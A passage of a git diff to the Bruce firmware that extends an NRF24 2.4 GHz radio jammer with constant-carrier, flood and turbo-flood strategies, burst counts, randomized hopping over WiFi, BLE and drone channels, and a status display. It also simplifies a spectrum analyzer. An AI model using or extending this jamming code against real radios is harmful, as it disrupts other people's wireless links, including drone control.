                 tft.drawString(line, 12, itemY + 2, 1);
 
-                if (editing && i == menuIdx && i < 4) {
+                if (editing && i == menuIdx && i < ITEM_COUNT - 1) {
                     tft.setTextColor(TFT_YELLOW, bg);
                     tft.drawRightString("<>", tftWidth - 12, itemY + 2, 1);
                 }
@@ -332,10 +397,12 @@ static void editModeConfig(NrfJamMode mode) {
                     case 0: cfg.paLevel = (cfg.paLevel + 1) % 4; break;
                     case 1: cfg.dataRate = (cfg.dataRate + 1) % 3; break;
                     case 2: cfg.dwellTimeMs = min(200, (int)cfg.dwellTimeMs + 1); break;
-                    case 3: cfg.useFlooding = !cfg.useFlooding; break;
+                    case 3: cfg.strategy = (cfg.strategy + 1) % 3; break;
+                    case 4: cfg.burstCount = min((uint8_t)20, (uint8_t)(cfg.burstCount + 1)); break;
+                    case 5: cfg.randomHop = !cfg.randomHop; break;
                 }
             } else {
-                menuIdx = (menuIdx + 1) % 5;
+                menuIdx = (menuIdx + 1) % ITEM_COUNT;
             }
             redraw = true;
         }
@@ -346,16 +413,18 @@ static void editModeConfig(NrfJamMode mode) {
                     case 0: cfg.paLevel = (cfg.paLevel + 3) % 4; break;
                     case 1: cfg.dataRate = (cfg.dataRate + 2) % 3; break;
                     case 2: cfg.dwellTimeMs = max(0, (int)cfg.dwellTimeMs - 1); break;
-                    case 3: cfg.useFlooding = !cfg.useFlooding; break;
+                    case 3: cfg.strategy = (cfg.strategy + 2) % 3; break;
+                    case 4: cfg.burstCount = max((uint8_t)1, (uint8_t)(cfg.burstCount - 1)); break;
+                    case 5: cfg.randomHop = !cfg.randomHop; break;
                 }
             } else {
-                menuIdx = (menuIdx + 4) % 5;
+                menuIdx = (menuIdx + ITEM_COUNT - 1) % ITEM_COUNT;
             }
             redraw = true;
         }
 
         if (check(SelPress)) {
-            if (menuIdx == 4) {
+            if (menuIdx == ITEM_COUNT - 1) {
                 saveJamConfigs();
                 break;
             }
@@ -371,51 +440,103 @@ static void editModeConfig(NrfJamMode mode) {
 // ═══════════════ JAMMER STATUS UI ═════════════════════════════
 // ══════════════════════════════════════════════════════════════════
 
-static void drawJammerStatus(NrfJamMode mode, int currentCh, uint8_t nrfOnline, bool initial) {
+static void drawJammerStatus(NrfJamMode mode, int currentCh, uint8_t nrfOnline, bool initial,
+                             unsigned long elapsedMs = 0, unsigned long totalCh = 0, unsigned long sweeps = 0) {
     const NrfJamConfig &cfg = jamConfigs[(uint8_t)mode];
+    const char *paLabels[] = {"MIN", "LOW", "HIGH", "MAX"};
+    const char *drLabels[] = {"1M", "2M", "250K"};
+    const char *stratNames[] = {"CW", "FLOOD", "TURBO"};
 
     if (initial) { drawMainBorderWithTitle("NRF JAMMER"); }
 
     int y = BORDER_PAD_Y + FM * LH + 4;
     int lineH = max(14, tftHeight / 10);
+    char buf[48];
 
     tft.setTextSize(FP);
 
-    // Mode name
+    // Line 1: Mode name + Strategy badge
     tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
     tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
-    tft.drawString(MODE_INFO[(uint8_t)mode].shortName, 12, y + 2, 1);
-
+    tft.drawString(MODE_INFO[(uint8_t)mode].name, 12, y + 2, 1);
+    const char *strat = stratNames[cfg.strategy <= 2 ? cfg.strategy : 0];
+    uint16_t badgeClr = (cfg.strategy == 2) ? TFT_RED : (cfg.strategy == 1) ? TFT_ORANGE : TFT_CYAN;
+    int bw = strlen(strat) * 6 + 8;
+    int bx = tftWidth - 12 - bw;
+    tft.fillRoundRect(bx, y + 1, bw, lineH - 3, 3, badgeClr);
+    tft.setTextColor(TFT_BLACK, badgeClr);
+    tft.drawCentreString(strat, bx + bw / 2, y + 2, 1);
     y += lineH;
 
-    // Status
+    // Line 2: Timer + Speed + Sweeps
     tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    char buf[40];
-    snprintf(buf, sizeof(buf), "Status: %d ACTIVE", nrfOnline);
+    unsigned long secs = elapsedMs / 1000;
+    unsigned long mins = secs / 60;
+    secs %= 60;
+    unsigned long chPerSec = (elapsedMs > 500) ? (totalCh * 1000UL / elapsedMs) : 0;
+    tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+    snprintf(buf, sizeof(buf), "%02lu:%02lu", mins, secs);
     tft.drawString(buf, 12, y + 2, 1);
-
+    tft.setTextColor(TFT_CYAN, bruceConfig.bgColor);
+    snprintf(buf, sizeof(buf), "%lu ch/s  S:%lu", chPerSec, sweeps);
+    tft.drawRightString(buf, tftWidth - 12, y + 2, 1);
     y += lineH;
 
-    // Channel / Frequency
+    // Line 3: Channel + Frequency + Radios + Hop mode
     tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
-    tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
     int freq = 2400 + currentCh;
-    snprintf(buf, sizeof(buf), "CH:%d  %dMHz", currentCh, freq);
-    tft.drawString(buf, 12, y + 2, 1);
+    tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+    snprintf(buf, sizeof(buf), "CH:%d %dMHz x%d%s", currentCh, freq, nrfOnline,
+             cfg.randomHop ? " RND" : "");
+    tft.drawCentreString(buf, tftWidth / 2, y + 2, 1);
+    y += lineH;
 
+    // Line 4: 2.4GHz Band visualization strip
+    {
+        int sX = 12, sW = tftWidth - 24;
+        int sH = max(6, lineH - 4);
+        int sY = y + (lineH - sH) / 2;
+        tft.fillRect(sX, sY, sW, sH, TFT_DARKGREY);
+        size_t chCount = 0;
+        const uint8_t *chList = getChannelList(mode, chCount);
+        if (mode == NRF_JAM_FULL || mode == NRF_JAM_DRONE) {
+            for (int c = 0; c < 125; c++) {
+                int px = sX + (c * sW) / 125;
+                int pw = max(1, sX + ((c + 1) * sW) / 125 - px);
+                uint16_t col = (c > 83) ? TFT_RED : (c > 42) ? TFT_YELLOW : TFT_GREEN;
+                tft.fillRect(px, sY + 1, pw, sH - 2, col);
+            }
+        } else if (chCount > 0 && chList) {
+            for (size_t ci = 0; ci < chCount; ci++) {
+                int c = chList[ci];
+                if (c >= 125) continue;
+                int px = sX + (c * sW) / 125;
+                int pw = max(1, sX + ((c + 1) * sW) / 125 - px);
+                tft.fillRect(px, sY + 1, pw, sH - 2, TFT_GREEN);
+            }
+        }
+        if (currentCh < 125) {
+            int mx = sX + (currentCh * sW) / 125;
+            tft.fillRect(mx, sY, 2, sH, TFT_WHITE);
+        }
+        tft.drawRect(sX, sY, sW, sH, bruceConfig.priColor);
+    }
     y += lineH;
 
-    // Config summary
+    // Line 5: Config summary
     tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
     tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
-    snprintf(buf, sizeof(buf), "%s dwell:%dms", cfg.useFlooding ? "FLOOD" : "CW", cfg.dwellTimeMs);
-    tft.drawString(buf, 12, y + 2, 1);
+    snprintf(buf, sizeof(buf), "PA:%s %s B:%d %s",
+             paLabels[cfg.paLevel & 3],
+             drLabels[cfg.dataRate <= 2 ? cfg.dataRate : 1],
+             cfg.burstCount,
+             cfg.randomHop ? "RND" : "SEQ");
+    tft.drawCentreString(buf, tftWidth / 2, y + 2, 1);
 
     // Footer
-    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
     int footerY = tftHeight - BORDER_PAD_X - FP * LH - 2;
     tft.fillRect(7, footerY, tftWidth - 14, FP * LH, bruceConfig.bgColor);
+    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
     tft.drawCentreString("[ESC]Stop [<>]Mode [OK]Cfg", tftWidth / 2, footerY, 1);
 }
 
@@ -430,10 +551,38 @@ static void runJammer(NRF24_MODE nrfMode, NrfJamMode jamMode) {
     NrfJamMode currentMode = jamMode;
     int channel = 0;
     int hopIndex = 0;
+    unsigned long jamStartMs = millis();
+    unsigned long totalCh = 0;
+    unsigned long sweepCount = 0;
+    unsigned long lastDrawMs = 0;
+
+    // Shuffled channel buffer for random hop
+    uint8_t shuffledCh[128];
+    size_t shuffledCount = 0;
+
+    auto prepareChannels = [&](NrfJamMode m) {
+        size_t count = 0;
+        const uint8_t *chList = getChannelList(m, count);
+        NrfJamConfig &c = jamConfigs[(uint8_t)m];
+        if (m == NRF_JAM_FULL || m == NRF_JAM_DRONE) {
+            shuffledCount = 125;
+            for (int i = 0; i < 125; i++) shuffledCh[i] = i;
+        } else if (count > 0 && chList) {
+            shuffledCount = count;
+            memcpy(shuffledCh, chList, count);
+        } else {
+            shuffledCount = 0;
+        }
+        if (c.randomHop && shuffledCount > 1) {
+            shuffleChannels(shuffledCh, shuffledCount);
+        }
+    };
+
+    prepareChannels(currentMode);
 
     if (CHECK_NRF_SPI(nrfMode)) {
         NrfJamConfig &cfg = jamConfigs[(uint8_t)currentMode];
-        bool flooding = cfg.useFlooding;
+        bool flooding = (cfg.strategy >= 1);
 
         if (flooding) {
             applyJamConfig(cfg, true);
@@ -443,7 +592,7 @@ static void runJammer(NRF24_MODE nrfMode, NrfJamMode jamMode) {
         NRFSPI = 1;
     }
 
-    drawJammerStatus(currentMode, channel, NRFOnline, true);
+    drawJammerStatus(currentMode, channel, NRFOnline, true, 0, 0, 0);
 
     if (CHECK_NRF_UART(nrfMode) || CHECK_NRF_BOTH(nrfMode)) {
         NRFSerial.println("RADIOS");
@@ -483,17 +632,17 @@ static void runJammer(NRF24_MODE nrfMode, NrfJamMode jamMode) {
             if (CHECK_NRF_SPI(nrfMode)) NRFradio.stopConstCarrier();
             editModeConfig(currentMode);
 
-            // Re-apply config after edit — must use initCW() because
-            // stopConstCarrier() → powerDown() clears internal PWR_UP,
-            // and bare startConstCarrier() never restores it.
+            // Re-apply config after edit
             if (CHECK_NRF_SPI(nrfMode)) {
                 NrfJamConfig &cfg = jamConfigs[(uint8_t)currentMode];
-                if (cfg.useFlooding) {
+                if (cfg.strategy >= 1) {
                     applyJamConfig(cfg, true);
                 } else {
                     initCW(channel);
                 }
             }
+            prepareChannels(currentMode);
+            hopIndex = 0;
             redraw = true;
         }
 
@@ -502,12 +651,15 @@ static void runJammer(NRF24_MODE nrfMode, NrfJamMode jamMode) {
             NrfJamMode prevMode = currentMode;
             currentMode = (NrfJamMode)(((uint8_t)currentMode + 1) % NRF_JAM_MODE_COUNT);
             hopIndex = 0;
+            prepareChannels(currentMode);
             if (CHECK_NRF_SPI(nrfMode)) {
                 NrfJamConfig &prevCfg = jamConfigs[(uint8_t)prevMode];
                 NrfJamConfig &cfg = jamConfigs[(uint8_t)currentMode];
-                if (prevCfg.useFlooding != cfg.useFlooding) {
+                bool prevFlood = (prevCfg.strategy >= 1);
+                bool nowFlood = (cfg.strategy >= 1);
+                if (prevFlood != nowFlood) {
                     NRFradio.stopConstCarrier();
-                    if (cfg.useFlooding) {
+                    if (nowFlood) {
                         applyJamConfig(cfg, true);
                     } else {
                         initCW(channel);
@@ -523,12 +675,15 @@ static void runJammer(NRF24_MODE nrfMode, NrfJamMode jamMode) {
             NrfJamMode prevMode = currentMode;
             currentMode = (NrfJamMode)(((uint8_t)currentMode + NRF_JAM_MODE_COUNT - 1) % NRF_JAM_MODE_COUNT);
             hopIndex = 0;
+            prepareChannels(currentMode);
             if (CHECK_NRF_SPI(nrfMode)) {
                 NrfJamConfig &prevCfg = jamConfigs[(uint8_t)prevMode];
                 NrfJamConfig &cfg = jamConfigs[(uint8_t)currentMode];
-                if (prevCfg.useFlooding != cfg.useFlooding) {
+                bool prevFlood = (prevCfg.strategy >= 1);
+                bool nowFlood = (cfg.strategy >= 1);
+                if (prevFlood != nowFlood) {
                     NRFradio.stopConstCarrier();
-                    if (cfg.useFlooding) {
+                    if (nowFlood) {
                         applyJamConfig(cfg, true);
                     } else {
                         initCW(channel);
@@ -538,10 +693,14 @@ static void runJammer(NRF24_MODE nrfMode, NrfJamMode jamMode) {
             redraw = true;
         }
 
-        // ── Redraw on state changes only (no periodic redraw) ───
-        if (redraw) {
-            drawJammerStatus(currentMode, channel, NRFOnline, true);
-            redraw = false;
+        // ── Periodic display update (every 200ms) ────────────
+        {
+            unsigned long nowMs = millis();
+            if (nowMs - lastDrawMs >= 200 || redraw) {
+                drawJammerStatus(currentMode, channel, NRFOnline, true, nowMs - jamStartMs, totalCh, sweepCount);
+                lastDrawMs = nowMs;
+                redraw = false;
+            }
         }
 
         // ── Jamming logic (SPI mode) ────────────────────────────
@@ -551,37 +710,32 @@ static void runJammer(NRF24_MODE nrfMode, NrfJamMode jamMode) {
         }
 
         NrfJamConfig &cfg = jamConfigs[(uint8_t)currentMode];
-        bool flooding = cfg.useFlooding;
+        uint8_t strategy = cfg.strategy;
         uint16_t dwellMs = cfg.dwellTimeMs;
+        uint8_t burst = cfg.burstCount;
 
-        switch (currentMode) {
-            case NRF_JAM_FULL:
-            case NRF_JAM_DRONE: {
-                // Full sweep 0-124 (like original)
-                if (flooding) floodChannel(hopIndex, dwellMs);
-                else cwChannel(hopIndex, dwellMs);
-                channel = hopIndex;
-                hopIndex = (hopIndex + 1) % 125;
-                break;
+        if (shuffledCount > 0) {
+            uint8_t ch = shuffledCh[hopIndex % shuffledCount];
+
+            switch (strategy) {
+                case 0: cwChannel(ch, dwellMs); break;
+                case 1: floodChannel(ch, dwellMs, burst); break;
+                case 2: turboFloodChannel(ch, burst); break;
             }
 
-            default: {
-                // All preset channel list modes: sequential hopping
-                // (BLE, BLE_ADV, WiFi, Bluetooth, USB, Video, RC, Zigbee)
-                size_t count;
-                const uint8_t *channels = getChannelList(currentMode, count);
-                if (count > 0 && channels) {
-                    uint8_t ch = channels[hopIndex % count];
-                    if (flooding) floodChannel(ch, dwellMs);
-                    else cwChannel(ch, dwellMs);
-                    channel = ch;
-                    hopIndex++;
-                    if (hopIndex >= (int)count) hopIndex = 0;
-                } else {
-                    delay(1);
+            channel = ch;
+            totalCh++;
+            hopIndex++;
+            if (hopIndex >= (int)shuffledCount) {
+                hopIndex = 0;
+                sweepCount++;
+                // Re-shuffle for next sweep if random hop
+                if (cfg.randomHop && shuffledCount > 1) {
+                    shuffleChannels(shuffledCh, shuffledCount);
                 }
-                break;
             }
+        } else {
+            delay(1);
         }
     }
 
diff --git a/src/modules/NRF24/nrf_jammer.h b/src/modules/NRF24/nrf_jammer.h
index 38098c3d4..5bd23b2a7 100644
--- a/src/modules/NRF24/nrf_jammer.h
+++ b/src/modules/NRF24/nrf_jammer.h
@@ -41,7 +41,10 @@ struct NrfJamConfig {
     uint8_t paLevel;      // 0-3 (MIN..MAX, PA+LNA: 0dBm→+20dBm)
     uint8_t dataRate;     // 0=1Mbps, 1=2Mbps, 2=250Kbps
     uint16_t dwellTimeMs; // Time on each channel (0=turbo, max 200ms)
-    uint8_t useFlooding;  // 0=Constant Carrier, 1=Data Flooding
+    uint8_t strategy;     // 0=CW, 1=Flood, 2=Turbo Flood
+    uint8_t burstCount;   // Packets per flood burst (1-20, default 6)
+    uint8_t randomHop;    // 0=sequential, 1=randomized hop order
+    uint8_t _reserved;    // alignment padding
 };
 
 // ── Hopper config ───────────────────────────────────────────────
diff --git a/src/modules/NRF24/nrf_spectrum.cpp b/src/modules/NRF24/nrf_spectrum.cpp
index 28b3cf493..27d188420 100644
--- a/src/modules/NRF24/nrf_spectrum.cpp
+++ b/src/modules/NRF24/nrf_spectrum.cpp
@@ -1,183 +1,47 @@
-/**
- * @file nrf_spectrum.cpp
- * @brief Enhanced 2.4 GHz spectrum analyzer for Bruce firmware.
- *
- * Features:
- *  - 126 channels (full 2.400-2.525 GHz ISM band)
- *  - Color gradient bars (green→yellow→red based on signal level)
- *  - Peak hold markers with slow decay
- *  - Smooth EMA (Exponential Moving Average) filtering
- *  - 6 simultaneous receive pipes for maximum sensitivity
- *  - Adaptive layout for all screen resolutions
- *  - Grid lines every 10 channels for visual reference
- *  - PA+LNA module support (E01-ML01SP2: -90dBm effective threshold)
- *
- * RPD (Received Power Detector) is binary: 1 = signal above -64dBm
- * at chip input (-90dBm with PA+LNA module).
- */
-
 #include "nrf_spectrum.h"
 #include "core/display.h"
 #include "core/mykeyboard.h"
 
-// ── Spectrum data ───────────────────────────────────────────────
-static uint8_t channel[NRF_SPECTRUM_CHANNELS];
-static uint8_t peakHold[NRF_SPECTRUM_CHANNELS];
-static uint8_t peakTimer[NRF_SPECTRUM_CHANNELS];
-
-#define PEAK_HOLD_SWEEPS 25 // Number of sweeps before peak decays
-
-// ── Device label tracking ────────────────────────────────────────
-#define LABEL_DECAY_SWEEPS 10                           // Sweeps until label fades after signal gone
-static uint8_t deviceLabelTimer[NRF_SPECTRUM_CHANNELS]; // Decay timer per channel
-
-// Display mode (0=bars+peaks, 1=bars only, 2=bars+device labels)
-static uint8_t specDisplayMode = 0;
-
-// Device type detection for channels
-enum DeviceType { DEV_NONE, DEV_WIFI, DEV_BLE, DEV_BT, DEV_ZIGBEE };
-
-struct DeviceInfo {
-    const char *label;
-    uint16_t labelColor;
-};
-
-static const struct DeviceInfo deviceInfo[] = {
-    {nullptr,  TFT_BLACK  }, // DEV_NONE
-    {"WiFi",   TFT_WHITE  }, // DEV_WIFI
-    {"BLE",    TFT_CYAN   }, // DEV_BLE
-    {"BT",     TFT_MAGENTA}, // DEV_BT
-    {"Zigbee", TFT_GREEN  }, // DEV_ZIGBEE
-};
+#define CHANNELS 80
+#define RGB565(r, g, b) ((((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3)))
+uint8_t channel[CHANNELS];
 
-// Detect device type from channel number
-static inline DeviceType getDeviceType(int channel) {
-    // WiFi: ch 1-14 (2.412-2.484 GHz) → NRF ch 12-84
-    if (channel >= 12 && channel <= 84) return DEV_WIFI;
-
-    // BLE Advertising: ch 37-39 (2.402, 2.426, 2.480 GHz) → NRF ch 2, 26, 80
-    if (channel == 2 || channel == 26 || channel == 80) return DEV_BLE;
-
-    // BT Classic: ch ~50-79 (2.450-2.480 GHz) → NRF ch 50-79
-    if (channel >= 50 && channel <= 79) return DEV_BT;
-
-    // Zigbee/Thread: ch 11-26 + 5-80 with 5MHz spacing (2.405-2.480 GHz) → NRF ch 5,10,15...80
-    if (channel >= 5 && channel <= 80 && (channel - 5) % 5 == 0) return DEV_ZIGBEE;
-
-    return DEV_NONE;
-}
-
-// ── Color gradient based on signal intensity (0-100) ────────────
-static uint16_t getSpectrumColor(uint8_t level) {
-    if (level > 85) return TFT_RED;
-    if (level > 65) return TFT_ORANGE;
-    if (level > 45) return TFT_YELLOW;
-    if (level > 25) return TFT_GREEN;
-    return TFT_DARKGREEN;
-}
-
-// ── Layout calculations ─────────────────────────────────────────
-static int spec_headerH;  // Header area height
-static int spec_footerH;  // Footer area height (freq labels)
-static int spec_barAreaY; // Top of bar area
-static int spec_barAreaH; // Height of bar area
-static int spec_mirrorH;  // Height of top mirror area
-static int spec_marginL;  // Left margin
-static int spec_drawW;    // Available drawing width (after margins)
-
-static void calcLayout() {
-    spec_headerH = 0;
-    spec_footerH = 14;
-    spec_mirrorH = 0; // Mirror removed — eliminates top artifacts
-    spec_barAreaY = 0;
-    spec_barAreaH = tftHeight - spec_footerH - 2;
-    spec_marginL = max(2, tftWidth / 80); // Small left margin
-    int marginR = spec_marginL;           // Symmetric right margin
-    spec_drawW = tftWidth - spec_marginL - marginR;
-}
-
-/// Get x position and width for channel i, distributed proportionally
-static inline void getBarGeom(int i, int &x, int &w) {
-    x = spec_marginL + (i * spec_drawW) / NRF_SPECTRUM_CHANNELS;
-    int nextX = spec_marginL + ((i + 1) * spec_drawW) / NRF_SPECTRUM_CHANNELS;
-    w = max(1, nextX - x);
-}
-
-// ── Scanning and drawing ────────────────────────────────────────
+// scanning channels
+#define _BW tftWidth / CHANNELS
 String scanChannels(bool web) {
-    String result = web ? "{" : "";
+    String result = "{";
 
-    // Toggle CE low during channel switch
+    uint8_t rpdValues[CHANNELS] = {0};
     digitalWrite(bruceConfigPins.NRF24_bus.io0, LOW);
 
-    for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
+    for (int i = 0; i < CHANNELS; i++) {
         NRFradio.setChannel(i);
         NRFradio.startListening();
-        delayMicroseconds(170); // 130µs PLL settle + 40µs RPD sample window
+        delayMicroseconds(128);
         NRFradio.stopListening();
 
         int rpd = NRFradio.testRPD() ? 1 : 0;
-
-        // EMA smoothing: fast attack, medium decay
-        // Attack: signal instantly jumps to ~50 on first hit
-        // Decay: drops ~25% per sweep when signal gone
-        if (rpd) {
-            channel[i] = (uint8_t)min(100, (int)((channel[i] + 100) / 2));
-            deviceLabelTimer[i] = LABEL_DECAY_SWEEPS; // Reset label timer on active signal
-        } else {
-            channel[i] = (uint8_t)((channel[i] * 3) / 4);
-            // Decay label timer when no signal
-            if (deviceLabelTimer[i] > 0) { deviceLabelTimer[i]--; }
-        }
-
-        // Peak hold tracking
-        if (channel[i] >= peakHold[i]) {
-            peakHold[i] = channel[i];
-            peakTimer[i] = PEAK_HOLD_SWEEPS;
-        } else if (peakTimer[i] > 0) {
-            peakTimer[i]--;
-        } else {
-            if (peakHold[i] > 2) peakHold[i] -= 2;
-            else peakHold[i] = 0;
-        }
+        channel[i] = (channel[i] * 3 + rpd * 125) / 4;
+        rpdValues[i] = channel[i];
     }
 
     digitalWrite(bruceConfigPins.NRF24_bus.io0, HIGH);
 
-    // ── Draw spectrum bars ──────────────────────────────────────
-    uint8_t maxLevel = 0;
-    uint8_t maxCh = 0;
-
-    for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
-        int x, w;
-        getBarGeom(i, x, w);
-
-        int level = channel[i];
-        if (level > maxLevel) {
-            maxLevel = level;
-            maxCh = i;
-        }
+    for (int i = 0; i < CHANNELS; i++) {
+        int level = rpdValues[i];
+        int x = i * _BW;
+        int c = i;
 
-        int barH = (level * spec_barAreaH) / 100;
-        int peakH = (peakHold[i] * spec_barAreaH) / 100;
+        tft.drawFastVLine(
+            x, tftHeight - (10 + level), level, (i % 2 == 0) ? bruceConfig.priColor : TFT_DARKGREY
+        ); // for level display
 
-        // Grid line color (every 10 channels)
-        uint16_t gridColor = (i % 10 == 0) ? TFT_DARKGREY : bruceConfig.bgColor;
-
-        // Main bar area: clear above, draw bar from bottom
-        if (barH < spec_barAreaH) { tft.fillRect(x, spec_barAreaY, w, spec_barAreaH - barH, gridColor); }
-        if (barH > 0) {
-            uint16_t barColor = getSpectrumColor(level);
-            tft.fillRect(x, spec_barAreaY + spec_barAreaH - barH, w, barH, barColor);
-        }
-
-        // Peak hold marker (Mode 0 only): white line segment
-        if (specDisplayMode == 0 && peakH > 0 && peakH >= barH) {
-            int peakY = spec_barAreaY + spec_barAreaH - peakH;
-            if (peakY >= spec_barAreaY && peakY < spec_barAreaY + spec_barAreaH) {
-                tft.fillRect(x, peakY, w, 1, TFT_WHITE);
-            }
-        }
+        tft.drawFastVLine(
+            x, 0, tftHeight - (9 + level), (i % 8) ? TFT_BLACK : RGB565(25, 25, 25)
+        );                                                    /// for clearing
+        tft.drawFastVLine(x, 0, level, bruceConfig.secColor); /// for top display
+        // show 5 channel gap only
+        if (c % 5 == 0 && c != 0) { tft.drawCentreString(String(c).c_str(), x, tftHeight / 2, 1); }
 
         if (web) {
             if (i > 0) result += ",";
@@ -185,98 +49,22 @@ String scanChannels(bool web) {
         }
     }
 
-    // Show peak channel indicator at top-right
-    if (maxLevel > 10) {
-        tft.setTextSize(FP);
-        tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
-        char peakBuf[12];
-        snprintf(peakBuf, sizeof(peakBuf), "pk:%d", (int)maxCh);
-        int pkW = 42;
-        int pkY = 1;
-        tft.fillRect(tftWidth - pkW - spec_marginL, pkY, pkW, 10, bruceConfig.bgColor);
-        tft.drawRightString(peakBuf, tftWidth - spec_marginL - 2, pkY, 1);
-    }
-
-    // ── Draw device labels (Mode 2 only) ──────────────────────────
-    if (specDisplayMode == 2) {
-        // Group labels by channel and stack vertically
-        int labelY = 2;
-        for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
-            // Show label if signal present or timer still active
-            if ((channel[i] > 10) || (deviceLabelTimer[i] > 0)) {
-                DeviceType dev = getDeviceType(i);
-
-                if (dev != DEV_NONE) {
-                    // Display known device label
-                    int x, w;
-                    getBarGeom(i, x, w);
-                    int labelX = x + w / 2; // Center on channel
-
-                    tft.setTextSize(FP);
-                    tft.setTextColor(deviceInfo[dev].labelColor, bruceConfig.bgColor);
-                    tft.drawCentreString(deviceInfo[dev].label, labelX, labelY, 1);
-
-                    labelY += 8;                       // Stack labels vertically
-                    if (labelY > tftHeight / 4) break; // Prevent overflow
-                } else if (channel[i] > 10) {
-                    // Unknown device: show small "?" in gray
-                    int x, w;
-                    getBarGeom(i, x, w);
-                    int labelX = x + w / 2;
-
-                    tft.setTextSize(1); // Tiny font
-                    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
-                    tft.drawCentreString("?", labelX, labelY, 1);
-
-                    labelY += 6;
-                    if (labelY > tftHeight / 5) break;
-                }
-            }
-        }
-    }
-
     if (web) result += "}";
-    return result;
+    return result; // return a string in this format "{1,32,45,32,84,32 .... 12,54,65}" with 80 values to be
+                   // used in the WebUI (Future)
 }
 
 void nrf_spectrum() {
     tft.fillScreen(bruceConfig.bgColor);
-
-    // Initialize data
-    memset(channel, 0, sizeof(channel));
-    memset(peakHold, 0, sizeof(peakHold));
-    memset(peakTimer, 0, sizeof(peakTimer));
-    memset(deviceLabelTimer, 0, sizeof(deviceLabelTimer));
-    specDisplayMode = 0; // Start in mode 0
-
-    // Calculate layout
-    calcLayout();
-
-    // Draw frequency labels at bottom
-    tft.setTextSize(FP);
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    int labelY = tftHeight - spec_footerH + 2;
-    tft.drawString("2.400", spec_marginL, labelY, 1);
-    tft.drawCentreString("2.462", tftWidth / 2, labelY, 1);
-    tft.drawRightString("2.525", tftWidth - spec_marginL, labelY, 1);
-
-    // Draw separator line
-    tft.drawFastHLine(0, spec_barAreaY + spec_barAreaH + 1, tftWidth, TFT_DARKGREY);
-
-    // Draw mode indicator
     tft.setTextSize(FP);
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    const char *modeStr[] = {"Mode:Peak", "Mode:Bar", "Mode:Dev"};
-    tft.drawString(modeStr[specDisplayMode], spec_marginL, 2, 1);
+    tft.drawString("2.40Ghz", 0, tftHeight - LH);
+    tft.drawCentreString("2.44Ghz", tftWidth / 2, tftHeight - LH, 1);
+    tft.drawRightString("2.48Ghz", tftWidth, tftHeight - LH, 1);
 
-    if (nrf_start(NRF_MODE_SPI)) {
-        // Configure for wideband spectrum sensing
+    if (nrf_start(NRF_MODE_SPI)) { // This function only works on SPI
         NRFradio.setAutoAck(false);
-        NRFradio.disableCRC();
-        NRFradio.setAddressWidth(2);
-
-        // Open 6 reading pipes at noise-detection addresses
-        // More pipes = higher sensitivity (radio checks all in parallel)
+        NRFradio.disableCRC();       // accept any signal we find
+        NRFradio.setAddressWidth(2); // a reverse engineering tactic (not typically recommended)
         const uint8_t noiseAddress[][2] = {
             {0x55, 0x55},
             {0xAA, 0xAA},
@@ -286,27 +74,18 @@ void nrf_spectrum() {
             {0xAD, 0xAA}
         };
         for (uint8_t i = 0; i < 6; ++i) { NRFradio.openReadingPipe(i, noiseAddress[i]); }
-
         NRFradio.setDataRate(RF24_1MBPS);
 
-        while (!check(EscPress)) {
-            scanChannels();
-
-            // SEL to cycle through modes
-            if (check(SelPress)) {
-                specDisplayMode = (specDisplayMode + 1) % 3;
-                // Clear only spectrum bar area, preserve frequency labels at bottom
-                tft.fillRect(0, spec_barAreaY, tftWidth, spec_barAreaH, bruceConfig.bgColor);
-                delay(200);
-            }
-        }
-
+        while (!check(EscPress)) { scanChannels(); }
         NRFradio.stopListening();
         NRFradio.powerDown();
         delay(250);
+        return;
+
     } else {
         Serial.println("Fail Starting radio");
         displayError("NRF24 not found");
         delay(500);
+        return;
     }
 }
diff --git a/src/modules/NRF24/nrf_spectrum.cpp.bak b/src/modules/NRF24/nrf_spectrum.cpp.bak
new file mode 100644
index 000000000..cd27dc98d
--- /dev/null
+++ b/src/modules/NRF24/nrf_spectrum.cpp.bak
@@ -0,0 +1,365 @@
+/**
+ * @file nrf_spectrum.cpp
+ * @brief Enhanced 2.4 GHz spectrum analyzer for Bruce firmware.
+ *
+ * Features:
+ *  - 126 channels (full 2.400-2.525 GHz ISM band)
+ *  - Color gradient bars (green→yellow→red based on signal level)
+ *  - Peak hold markers with slow decay
+ *  - Smooth EMA (Exponential Moving Average) filtering
+ *  - 6 simultaneous receive pipes for maximum sensitivity
+ *  - Adaptive layout for all screen resolutions
+ *  - Grid lines every 10 channels for visual reference
+ *  - PA+LNA module support (E01-ML01SP2: -90dBm effective threshold)
+ *
+ * RPD (Received Power Detector) is binary: 1 = signal above -64dBm
+ * at chip input (-90dBm with PA+LNA module).
+ */
+
+#include "nrf_spectrum.h"
+#include "core/display.h"
+#include "core/mykeyboard.h"
+
+// ── Spectrum data ───────────────────────────────────────────────
+static uint8_t channel[NRF_SPECTRUM_CHANNELS];
+static uint8_t peakHold[NRF_SPECTRUM_CHANNELS];
+static uint8_t peakTimer[NRF_SPECTRUM_CHANNELS];
+
+#define PEAK_HOLD_SWEEPS 25 // Number of sweeps before peak decays
+
+// ── Device label tracking ────────────────────────────────────────
+#define LABEL_DECAY_SWEEPS 10                           // Sweeps until label fades after signal gone
+static uint8_t deviceLabelTimer[NRF_SPECTRUM_CHANNELS]; // Decay timer per channel
+
+// Display mode (0=bars+peaks, 1=bars only, 2=bars+device labels, 3=waterfall)
+static uint8_t specDisplayMode = 0;
+
+// Waterfall mode state
